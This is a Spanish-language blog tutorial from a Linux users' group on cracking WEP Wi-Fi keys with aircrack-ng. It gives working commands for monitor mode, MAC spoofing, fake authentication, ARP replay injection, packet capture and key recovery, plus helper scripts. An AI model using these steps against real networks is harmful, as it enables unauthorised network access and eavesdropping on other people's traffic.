XalalinuX Grupo de Usuarios de Linux de Xalapa

8Oct/0816

Tutorial: Crackeando WEPs

Por que la gente lo pidió, aquí está. Antes que todo hay que decir que este tutorial es meramente educativo. En ningún momento se incita a la gente a crackear WEPs por todos lados y sniffear claves de acceso y conversaciones del Messenger o robar sesiones de correo con el trapper. No, nada de eso. Esto es para que vean lo vulnerables que son las redes con encriptación WEP y para que comiencen a utilizar otro tipo de seguridad.

El proceso consiste en capturar el tráfico que hay en la red y sacar la clave WEP de los paquetes guardados. Si hay mucho tráfico en la red pues no habrá problema, podremos tener un numero de paquetes considerable en poco tiempo. El problema viene cuando no hay tráfico en la red. En este caso nosotros podemos generar ese tráfico.

Este método se basa en la inyección de paquetes, donde primero nos asociamos al Access Point en cuestión y luego enviamos paquetes para generar tráfico.

Requisitos

  • Una tarjeta inalámbrica con soporte para modo Monitor o promiscuo.Esto sería suficiente para el primer método donde ya existe tráfico en la red.
  • Una tarjeta inalámbrica con soporte para inyección de paquetes.
  • El programa Aircrack-ng instalado.

En los foros y el wiki de la página de aircrack pueden encontrar si su tarjeta soporta la inyección de paquetes.

Para este tutorial utilizo una tarjeta inalámbrica Broadcom 4311 que funciona con el módulo b43 del kernel. Baje los últimos drivers de Linux Wireless para mi kernel 2.6.26-1-686-bigmem que ya soportan la inyección de paquetes. Anteriormente tenia que bajar unos parches de la página de aircrack, aplicarselos al kernel y compilarlos. Para algunos de ustedes quizás este sea el caso.

Suponiendo que ya tenemos todo entonces comenzamos poniendo a nuestra tarjeta en modo monitor

ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up

Ahora probamos si la inyección de paquetes está funcionando.

su
aireplay-ng -9 wlan0

Todos los comando de inyección y captura se deben ejecutar con permisos de root. El programa nos deberá responder con:

Trying broadcast probe requests...
Injection is working!

Bien, ahora necesitamos un Access Point. Normalmente uso Kismet para ver los access points disponibles pero por ahora no lo tengo instalado aśi que probaremos con

airodump-ng wlan0

Que nos devuelve

Ahi podemos ver el nombre del Access Point, la dirección MAC y el canal con el que transmite, y claro, el tipo de encriptación que usa.

Antes de enviar paquetes nos tenemos que asociar con el Access Point, para esto utilizamos el comando aireplay-ng de la siguiente forma.

aireplay-ng -1 0 -a 00:1F:B3:76:BF:B9 -h 00:11:22:33:44:55 wlan0

En la opción -a se define el Access Point y en -h el origen, aqui estamos falseando la MAC origen. Si todo sale bien el sistema responderá con un:

Sending Authentication Request (Open System) [ACK]
Authentication sucessful
Sending Association Request [ACK]
Association sucessful :-) 

Si en este punto hay algún error puede ser que no estamos lo suficientemente cerca del Access Point. Ahora ya estamos listos para enviar y capturar paquetes.

Vamos a necesitar dos terminales. En una inyectaremos los paquetes al Access Point y en la otra los capturaremos. Para enviar paquetes le damos

aireplay-ng 3 -b00:1F:B3:76:BF:B9 -h 00:11:22:33:44:55 wlan0

Y para capturar ponemos

airodump-ng -c 1 wlan0 -w captura

Donde -c 1 es el canal y -w captura el nombre del archivo donde se guardarán los paquetes. Esto se verá mas o menos así.

El número de paquetes necesario para crackear la WEP depende
de la complejidad de la misma. 10000 paquetes es una buena cantidad para
ir probando. Sin embargo a mi me gusta ir corriendo el aircrack desde
los 5000 para ver que pasa.

Para comenzar a crackear le damos un

aircrack-ng captura-01.cap

Los Access Points INFINITUM necesitan alrededor de 16000 paquetes para crackearlos, este sólo necesito 10000 :-)

Y ya tenemos la WEP :-)

Tips

- A veces la inyección no funciona pero quitando y poniendo los módulos
de la tarjeta hace funcionar la inyección de paquetes. Para esto hice
este pequeño script.

#!/bin/bash
rmmod b43
modprobe b43
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up

- Para asociarse con el Access Point este otro script

#!/bin/bash
aireplay-ng -1 0 -a $AP -h 00:11:22:33:44:55 wlan0

- Para enviar paquetes

#!/bin/bash
aireplay-ng -3 -b $AP -h 00:11:22:33:44:55 wlan0

Antes de estos dos scripts hay que definir la variable AP con la
dirección MAC del Access Point

export AP=.....

Espero que les sea útil la información, al menos para cambiarse a WPA que es un poco menos inseguro. La página de aircrack-ng tiene muy buena información, prácticamente todo el tutorial esta basado en lo que ahi encontré.